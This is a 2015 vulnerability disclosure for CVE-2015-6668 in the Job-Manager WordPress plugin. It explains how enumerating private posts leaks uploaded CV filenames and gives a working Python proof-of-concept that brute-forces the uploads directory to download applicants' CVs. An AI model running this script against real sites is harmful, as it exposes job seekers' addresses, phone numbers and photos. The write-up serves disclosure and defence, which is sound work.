[CVE-2015-6668] CV filename disclosure on Job-Manager WP plugin

Title: CV filename disclosure on Job-Manager WP plugin
Date: 08/25/2015
CVE-ID: 2015-6668
Author: Evangelos Mourikis
Blog URL: https://vagmour.eu
Twitter: @teh_h3ck
Versions: <= 0.7.25
Plugin URLs: 1. http://www.wp-jobmanager.com
2 .https://wordpress.org/plugins/job-manager/

Description: It is possible to enumerate the CV filename that is uploaded on the server and then access the CV file by performing a bruteforce attack to the wordpress upload directory structure.

Impact: CVs contain sensitive data such as telephones, home addresses, photos etc. They should be confidentially uploaded to the server. They should not be public without prior notice from the host.

Vulnerability Analysis

Uploading a CV using the WP plugin:

uploading

Let's check what happened in the background:

I executed the following sql query to the wordpress mysql database:

SELECT ID,post_title,post_status,post_name,guid,post_type FROM wordpress.wp_posts;

Result:

query

According to Wordpress website (https://codex.wordpress.org/Content_Visibility)

private_content

post_status

Also..(https://codex.wordpress.org/Post_Status#Private):

private

Abusing Wordpress posts representation for fun and profit.

Let's fire up burp and enumerate the post pages!

Request for the 10th post:
request_1

How private are the private posts??

Response:
response_1

We learned the private link but the url is normalized as lowercase. It is still possible to bruteforce the filename with lower and upper case letters. We prefer the exact filename of the CV that is uploaded to the server.

Is there another way to figure out the exact filename ?

We are using the burp intruder to help us with the requests. I used GET requests to index.php/wordpress/jobs/apply/%1%/

jobs_apply

jobs_reply

The wordpress directory structure for the uploaded files is known as /wp-content/uploads/%year%/%month%/%filename%

The most difficult thing of this structure is the filename. Only the filename can't be bruteforced. Since we have that knowledge we can bruteforce the year and month and finally find the uploaded file. In this case, it is the CV.

Simple POC code(wordpress replaces the space(%20) with a '-') in the filenames of the uploaded CVs)

The most common file extensions for CVs are pdf, doc, docx.

import requests

print """  
CVE-2015-6668  
Title: CV filename disclosure on Job-Manager WP Plugin  
Author: Evangelos Mourikis  
Blog: https://vagmour.eu  
Plugin URL: http://www.wp-jobmanager.com  
Versions: <=0.7.25  
"""  
website = raw_input('Enter a vulnerable website: ')  
filename = raw_input('Enter a file name: ')

filename2 = filename.replace(" ", "-")

for year in range(2013,2016):  
    for i in range(1,13):
        for extension in {'doc','pdf','docx'}:
            URL = website + "/wp-content/uploads/" + str(year) + "/" + "{:02}".format(i) + "/" + filename2 + "." + extension
            req = requests.get(URL)
            if req.status_code==200:
                print "[+] URL of CV found! " + URL

Let's bruteforce our installation for the vagmourCV:

POC

Let's check the result:

CV

Oh, My CV!

With the same way we can retrieve all the uploaded CVs.

even_more

The previous research is done with the permalinks set up with Custom structure - that one was by default in the wordpress installation. (/index.php/%year%/%monthnum%/%day%/%postname%/)

But, what happens with the others?

-Numeric, Day and name, Post name, Month and name

payload: jobs/apply/%10%

others

-Default ?page_id=%5%&j=%10%

default_permalinks CVs are compromised with every permalink in wordpress!

Update 08/31/2015: Job Manager Plugin is removed from wordpress.org repositories.